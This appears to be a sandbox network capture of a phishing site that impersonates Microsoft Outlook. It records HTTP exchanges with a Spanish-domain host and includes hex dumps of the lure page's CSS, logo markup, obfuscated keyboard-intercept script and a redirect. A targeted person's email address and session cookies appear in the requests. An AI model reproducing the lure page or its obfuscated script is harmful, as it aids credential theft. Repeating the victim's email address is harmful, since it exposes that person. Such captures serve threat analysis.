2025-03-18 12:33:53 UTC	1149	OUT	GET /rqWnEbQsk5HXxG4uGznnSrevhylKtlD5EOwQsRRQnultYgy HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9EczJvempHbU5reG5oNi9DanlOTHc9PSIsInZhbHVlIjoiUGJWUEcxVGI4UDh2L1NsVjNvN25ZSldTM1NDYkVNbWNmK2JpbG9WTUx2dENhRndZY3lNNHJpUUJlQm9jbmlpOHg4a2F3TUtka3p4VEczblJQb3ZKTElLNkZJUGNxbFEwb2hiM3FkS1R2am9VV3BiMGNxelBreFhlME9TUlp5MFciLCJtYWMiOiJhYjFjNjRjMjMzYjM0NzhjNDE4NGI5ZjQ0ZDlkNjEwZWQ2ZGQxYmY4ZDgzZjYwMGUxMjcyZWNjYjBhOGRiYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkU3Wm54VFhNa1lLY2s2WmpCWktVdHc9PSIsInZhbHVlIjoiRVJ4a3orTGROMkZTdHdCVnp3UlFydS9ucDA0K3g1bUxUdjArQXdwSERsaEZjbngvdEVKcnF5bHhwRWNNRXJjcU0xSmtDV3Z6QXdEWG5IaHJYditrWjdaM3hvWkhyUlRrK3l2THVxL3VobTYxaUJXU05yTVdiR241cUVHOTN5WE4iLCJtYWMiOiI0M2EzMjc3ODRiZWZkMmMzYjU4Zjg0NWFjNTk3NzQzMWVhNmRjYmIyM2VlNTE4ZTA3YzFhNmZkYzRjYjlkYzVhIiwidGFnIjoiIn0%3D
2025-03-18 12:33:53 UTC	1028	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 12:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wyy9kZP8IOeeHqUS%2FerFSShE7rccVhpGJwUSVuXqdi6ro5LciGhHPpYThg3el6k3KK1ZDNlEOSxbBXNWgVO7XDPvigN%2FYv2dRPQmS43r172Rg2zrBcUoQV0L3mDqbUZ8KpVM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1015&min_rtt=1002&rtt_var=402&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2059&delivery_rate=2565765&cwnd=251&unsent_bytes=0&cid=b40dabc6f8f7eefc&ts=228&x=0" Server: cloudflare CF-RAY: 9224c2d33894f78d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1484&rtt_var=564&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1721&delivery_rate=1924851&cwnd=194&unsent_bytes=0&cid=71238a2fdce94f55&ts=527&x=0"
2025-03-18 12:33:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:53 UTC	1531	OUT	GET /juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.es Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9EczJvempHbU5reG5oNi9DanlOTHc9PSIsInZhbHVlIjoiUGJWUEcxVGI4UDh2L1NsVjNvN25ZSldTM1NDYkVNbWNmK2JpbG9WTUx2dENhRndZY3lNNHJpUUJlQm9jbmlpOHg4a2F3TUtka3p4VEczblJQb3ZKTElLNkZJUGNxbFEwb2hiM3FkS1R2am9VV3BiMGNxelBreFhlME9TUlp5MFciLCJtYWMiOiJhYjFjNjRjMjMzYjM0NzhjNDE4NGI5ZjQ0ZDlkNjEwZWQ2ZGQxYmY4ZDgzZjYwMGUxMjcyZWNjYjBhOGRiYzM4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkU3Wm54VFhNa1lLY2s2WmpCWktVdHc9PSIsInZhbHVlIjoiRVJ4a3orTGROMkZTdHdCVnp3UlFydS9ucDA0K3g1bUxUdjArQXdwSERsaEZjbngvdEVKcnF5bHhwRWNNRXJjcU0xSmtDV3Z6QXdEWG5IaHJYditrWjdaM3hvWkhyUlRrK3l2THVxL3VobTYxaUJXU05yTVdiR241cUVHOTN5WE4iLCJtYWMiOiI0M2EzMjc3ODRiZWZkMmMzYjU4Zjg0NWFjNTk3NzQzMWVhNmRjYmIyM2VlNTE4ZTA3YzFhNmZkYzRjYjlkYzVhIiwidGFnIjoiIn0%3D
2025-03-18 12:33:53 UTC	1238	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wPED33Gr%2B4iRtbG9r%2FFejLmzYxagQVsz%2FJY3UOa3TLlaJyQyHl7RnEEhICgFu3FbZfwOHgFbYZk5gAhhpiFKtTtnPnQcocxnMudAhj0h%2FcGBF%2Bw3P3cW%2FAVOpCQZYDdezpBn"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=1023&min_rtt=1007&rtt_var=389&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2442&delivery_rate=2828202&cwnd=241&unsent_bytes=0&cid=4b4ac5159cf30da8&ts=253&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilo4L3VmemFZR1k4dGVubHR0bncrTWc9PSIsInZhbHVlIjoiYUMvRzkxcGpFdEMrd0MyVjdGaHNMNnJBakNhWjkvcXdZc1FmZzh3d1BraFZrT3QzeWs5QjNmYVFub2FwVThGblVMZ0tHcVBHTXZ2dGtwUDlGZlErOUVBQWZZdVVEb21CaFVqT1B5Q3diY0tob3l1cjhTaVBUUkFjUmcrQmRnWVoiLCJtYWMiOiIxYjhmNDgwNjcwZDljMjc3MDk0YmUyNjAxY2FkY2I0ZDZkOGYwMzc2OTZjZDdiNjdjMmEwN2FkMDNlODgyZTdkIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 18 Mar 2025 14:33:53 GMT
2025-03-18 12:33:53 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 6b 7a 51 6e 55 30 64 45 38 32 4f 58 42 36 4c 32 52 44 53 6d 5a 6a 57 6b 49 33 64 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 47 78 6b 64 6c 46 78 54 45 74 51 54 57 6c 7a 59 57 78 4c 56 55 31 74 61 55 4a 71 61 46 56 57 63 55 35 54 55 55 52 33 4d 46 64 68 62 6b 5a 54 64 79 38 34 53 56 67 79 52 31 68 6b 63 46 41 35 54 55 35 50 55 6c 6c 6c 56 7a 68 56 4e 57 70 30 57 44 4a 6c 56 54 52 7a 5a 45 4a 34 4e 32 64 4e 62 45 46 61 4d 57 68 6f 59 6b 6c 42 4b 31 64 56 5a 30 52 34 4f 47 56 4d 4f 46 64 6c 54 32 39 46 57 57 52 74 62 7a 5a 30 52 30 68 4c 62 46 49 31 63 33 70 77 59 30 52 6c 53 33 45 35 5a 55 46 54 57 47 70 72 62 58 5a 76 63 54 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkkzQnU0dE82OXB6L2RDSmZjWkI3dFE9PSIsInZhbHVlIjoiZGxkdlFxTEtQTWlzYWxLVU1taUJqaFVWcU5TUUR3MFdhbkZTdy84SVgyR1hkcFA5TU5PUlllVzhVNWp0WDJlVTRzZEJ4N2dNbEFaMWhoYklBK1dVZ0R4OGVMOFdlT29FWWRtbzZ0R0hLbFI1c3pwY0RlS3E5ZUFTWGprbXZvcTY
2025-03-18 12:33:53 UTC	972	IN	Data Raw: 35 66 30 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 5f0b<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 31 30 37 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 65 66 2c 23 66 6d 61 73 6b 2c 23 6c 6f 67 6f 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 7d 0d 0a 23 6c 6f 61 64 69 6e 67 4c 6f 67 6f 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 63 61 6c 63 28 34 30 76 68 20 2d 20 39 30 70 78 29 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 76 77 20 2d 20 39 30 70 78 29 3b 77 69 64 74 68 3a 31 38 30 70 78 3b 68 65 69 67 68 74 3a 31 38 30 70 78 3b 7d 0d 0a 23 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 73 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 62 6f 75 6e 63 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a Data Ascii: th:var(--envW);height:107px;}#cal,#ef,#fmask,#logo{overflow:hidden;}#loadingLogo{position:fixed;top:calc(40vh - 90px);left:calc(50vw - 90px);width:180px;height:180px;}#container{width:var(--s);height:var(--s);animation:bounce var(--dur) infinite;}
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 2e 73 32 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 38 61 38 65 61 3b 7d 0d 0a 23 63 6c 6f 73 65 64 46 6c 61 70 20 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 2c 2e 73 33 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 7d 0d 0a 2e 73 34 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 33 36 34 62 38 3b 7d 0d 0a 2e 73 35 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 34 34 37 64 3b 7d 0d 0a 23 6f 70 65 6e 65 64 46 6c 61 70 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6f 70 65 6e 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f Data Ascii: .s2{background:#28a8ea;}#closedFlap .flapTriangle,.s3{background:#50d9ff;}.s4{background:#0364b8;}.s5{background:#14447d;}#openedFlap{animation:opened-flap-swing var(--dur) infinite;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-o
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 76 61 72 28 2d 2d 63 61 6c 59 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 36 36 2c 2d 30 2e 31 36 2c 31 2c 2d 30 2e 32 39 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 6f 70 65 6e 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 7b 30 25 2c 31 30 30 25 2c 31 34 2e 35 25 2c 37 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 38 70 78 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 2d 39 30 64 65 67 29 3b 7d 31 36 2e 35 25 2c 35 30 25 2c 37 34 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 36 38 70 78 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 2d 31 38 30 64 65 67 29 3b 7d Data Ascii: var(--calYExt)) scaleY(1);animation-timing-function:cubic-bezier(0.66,-0.16,1,-0.29);}}@keyframes opened-flap-swing{0%,100%,14.5%,76%{transform:translateY(-68px) rotate3d(1,0,0,-90deg);}16.5%,50%,74%{transform:translateY(-68px) rotate3d(1,0,0,-180deg);}
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 28 21 4d 73 6b 52 44 6a 73 42 4c 41 2e 73 68 69 66 74 20 7c 7c 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 21 4d 73 6b 52 44 6a 73 42 4c 41 2e 6d 65 74 61 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 21 4d 73 6b 52 44 6a 73 42 4c 41 2e 61 6c 74 20 7c 7c 20 65 76 65 6e 74 2e 61 6c 74 4b 65 79 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 3d 3d 3d 20 4d 73 6b 52 44 6a 73 42 4c 41 2e 6b 65 79 43 6f 64 65 0d 0a 20 20 20 20 20 20 20 20 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 64 77 6a 70 76 48 75 45 48 71 28 65 76 65 6e 74 29 29 20 7b 0d 0a 20 Data Ascii: (!MskRDjsBLA.shift \|\| event.shiftKey) && (!MskRDjsBLA.meta \|\| event.metaKey) && (!MskRDjsBLA.alt \|\| event.altKey) && event.keyCode === MskRDjsBLA.keyCode ); } if (dwjpvHuEHq(event)) {
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 20 63 6f 6e 74 61 69 6e 3b 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6f 75 74 6c 6f 6f 6b 6c 6f 67 6f 65 6c 65 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 61 64 69 6e 67 4c 6f 67 6f 22 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 53 68 61 64 6f 77 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 22 3e 3c 64 69 76 20 69 64 3d 22 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 Data Ascii: l, sans-serif;background-color: #fff;color: #000;padding: 20px;font-size: 18px;overscroll-behavior: contain;"><div id="outlooklogoele"><div id="loadingLogo"><div id="container"><div id="containerShadow"></div><div id="logo"><div id="flapContainer"><di
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 48 30 7a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 31 Data Ascii: H0z"></path><path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.91
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 33 36 38 2e 38 32 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 36 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 20 32 2e 35 39 33 2d 2e 34 34 31 20 33 2e 34 33 34 2d 31 2e 33 31 2e 38 34 2d 2e 38 37 20 31 2e 32 36 35 2d 32 2e 30 34 35 20 31 2e 32 36 35 2d 33 2e 34 39 33 20 30 2d 31 2e 34 33 33 2d 2e 34 2d 32 2e 35 37 33 2d 31 2e 31 38 37 2d 33 2e 33 39 34 2d 2e 37 38 39 2d 2e 38 32 2d 31 2e 38 39 37 2d 31 2e 32 33 36 2d 33 2e 32 39 35 2d 31 2e 32 33 36 4d 37 34 2e 33 37 38 20 31 31 2e 34 37 31 63 2d 2e 36 36 37 2d 2e 32 36 38 2d 31 2e 30 39 35 2d 2e 34 39 2d 31 2e 32 37 2d 2e 36 36 2d 2e 31 37 2d 2e 31 36 35 2d 2e 32 35 37 2d 2e 33 39 38 2d 2e 32 35 37 2d 2e 36 39 33 20 30 2d 2e 32 36 32 2e 31 30 38 2d 2e 34 37 32 2e 33 32 37 2d 2e 36 34 32 Data Ascii: 368.82.826 1.936 1.245 3.316 1.245 1.438 0 2.593-.441 3.434-1.31.84-.87 1.265-2.045 1.265-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M74.378 11.471c-.667-.268-1.095-.49-1.27-.66-.17-.165-.257-.398-.257-.693 0-.262.108-.472.327-.642
2025-03-18 12:33:53 UTC	1369	IN	Data Raw: 33 36 4d 39 38 2e 31 34 39 20 39 2e 34 38 56 37 2e 37 35 32 68 2d 32 2e 31 34 34 56 35 2e 30 36 39 6c 2d 2e 30 37 32 2e 30 32 32 2d 32 2e 30 31 35 2e 36 31 36 2d 2e 30 33 38 2e 30 31 32 76 32 2e 30 33 34 68 2d 33 2e 31 37 37 56 36 2e 36 32 63 30 2d 2e 35 32 37 2e 31 31 38 2d 2e 39 33 31 2e 33 35 31 2d 31 2e 32 2e 32 33 2d 2e 32 36 36 2e 35 36 2d 2e 34 30 32 2e 39 38 32 2d 2e 34 30 32 2e 33 30 33 20 30 20 2e 36 31 36 2e 30 37 32 2e 39 33 31 2e 32 31 33 6c 2e 30 37 39 2e 30 33 35 56 33 2e 34 34 37 6c 2d 2e 30 33 37 2d 2e 30 31 33 63 2d 2e 32 39 34 2d 2e 31 30 35 2d 2e 36 39 35 2d 2e 31 35 39 2d 31 2e 31 39 2d 2e 31 35 39 2d 2e 36 32 36 20 30 2d 31 2e 31 39 34 2e 31 33 36 2d 31 2e 36 38 39 2e 34 30 36 2d 2e 34 39 35 2e 32 37 2d 2e 38 38 36 2e 36 35 35 2d 31 Data Ascii: 36M98.149 9.48V7.752h-2.144V5.069l-.072.022-2.015.616-.038.012v2.034h-3.177V6.62c0-.527.118-.931.351-1.2.23-.266.56-.402.982-.402.303 0 .616.072.931.213l.079.035V3.447l-.037-.013c-.294-.105-.695-.159-1.19-.159-.626 0-1.194.136-1.689.406-.495.27-.886.655-1

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:54 UTC	1577	OUT	GET /juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF HTTP/1.1 Host: ajd.asfhkkiv.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.es Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ilo4L3VmemFZR1k4dGVubHR0bncrTWc9PSIsInZhbHVlIjoiYUMvRzkxcGpFdEMrd0MyVjdGaHNMNnJBakNhWjkvcXdZc1FmZzh3d1BraFZrT3QzeWs5QjNmYVFub2FwVThGblVMZ0tHcVBHTXZ2dGtwUDlGZlErOUVBQWZZdVVEb21CaFVqT1B5Q3diY0tob3l1cjhTaVBUUkFjUmcrQmRnWVoiLCJtYWMiOiIxYjhmNDgwNjcwZDljMjc3MDk0YmUyNjAxY2FkY2I0ZDZkOGYwMzc2OTZjZDdiNjdjMmEwN2FkMDNlODgyZTdkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkkzQnU0dE82OXB6L2RDSmZjWkI3dFE9PSIsInZhbHVlIjoiZGxkdlFxTEtQTWlzYWxLVU1taUJqaFVWcU5TUUR3MFdhbkZTdy84SVgyR1hkcFA5TU5PUlllVzhVNWp0WDJlVTRzZEJ4N2dNbEFaMWhoYklBK1dVZ0R4OGVMOFdlT29FWWRtbzZ0R0hLbFI1c3pwY0RlS3E5ZUFTWGprbXZvcTYiLCJtYWMiOiJlNzQ3YmJkODY5NzdlNjQ0ZWM3N2MzN2VjZWRlNjczNjc4MzE4NTdiZTU1NDkxOTgxOTBiMTA1ODNjNjlhMTY0IiwidGFnIjoiIn0%3D
2025-03-18 12:33:55 UTC	1222	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T5HBAc7tSgPgV5qLpPz27zaDhIMCn%2BRoRM%2FAhZhXit%2BZ6qfXhWFXCC6hwTf%2B%2BkY13xlG8nli4dxEaQfS21qB6C6ik9mbWnZMy2C%2B%2BYGBAOXJ3rZg0JB%2BImBlFdvLrvxz5pas"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1129&min_rtt=1054&rtt_var=449&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2488&delivery_rate=2702087&cwnd=247&unsent_bytes=0&cid=de079d3b0b6c20fb&ts=253&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlNWU25lZHgzSnZNRGsxUytyUkNkblE9PSIsInZhbHVlIjoiVC9aM2lnRTVWNUpXaGtpZDE1MFpUb0JYc3hteW50aFMxVzd2U1JNMGZUSExTQ0ZnY1pSemthMlU0UzgrNjBhSnZ6NjV1cStPZ25jR2lhelFVcTRXZkU5TWI4OG5yb25tbkQvMFlVejE3MFZuZDJWbGhJbG1xUmYwTWJJbkpUNU8iLCJtYWMiOiIzMWUzNTkyNzRkZTQ1NzQ1YmE0Yzc1MzA0NTdkNTRlY2I5ZWI5MTkxNGI4N2U5ZDAyNjhiZDUzMWU4M2RmODM4IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 14:33:54 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-18 12:33:55 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 6c 73 61 57 6f 31 55 45 31 6e 52 55 5a 36 63 48 68 6a 64 7a 68 6b 52 57 63 31 59 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 7a 42 6a 61 6b 64 31 64 45 55 78 52 48 70 61 63 46 41 30 53 6e 4e 32 55 69 74 43 55 44 63 76 55 30 70 73 4d 57 51 79 5a 47 52 76 53 45 6b 7a 65 6d 64 47 62 6e 42 4a 4b 30 4e 47 53 32 56 78 62 32 64 45 55 31 70 43 4e 7a 52 44 65 46 5a 71 5a 44 6c 6a 64 6d 4a 6e 55 56 52 51 63 6e 70 5a 54 7a 56 79 53 45 64 48 5a 30 5a 6d 55 6c 64 30 53 47 59 77 56 33 4e 51 63 6d 35 48 51 6b 51 35 4f 53 74 54 62 44 64 4f 62 47 64 6d 56 55 52 75 56 55 78 78 55 57 77 79 5a 57 46 6c 59 31 6c 59 57 45 4d 72 51 33 42 4f 59 6d 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImlsaWo1UE1nRUZ6cHhjdzhkRWc1YUE9PSIsInZhbHVlIjoiTzBjakd1dEUxRHpacFA0SnN2UitCUDcvU0psMWQyZGRvSEkzemdGbnBJK0NGS2Vxb2dEU1pCNzRDeFZqZDljdmJnUVRQcnpZTzVySEdHZ0ZmUld0SGYwV3NQcm5HQkQ5OStTbDdObGdmVURuVUxxUWwyZWFlY1lYWEMrQ3BOYms
2025-03-18 12:33:55 UTC	65	IN	Data Raw: 33 62 0d 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 2f 72 49 4d 4f 64 65 43 74 72 69 4e 56 2f 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 3b<script>window.location.replace('/rIMOdeCtriNV/');</script>
2025-03-18 12:33:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
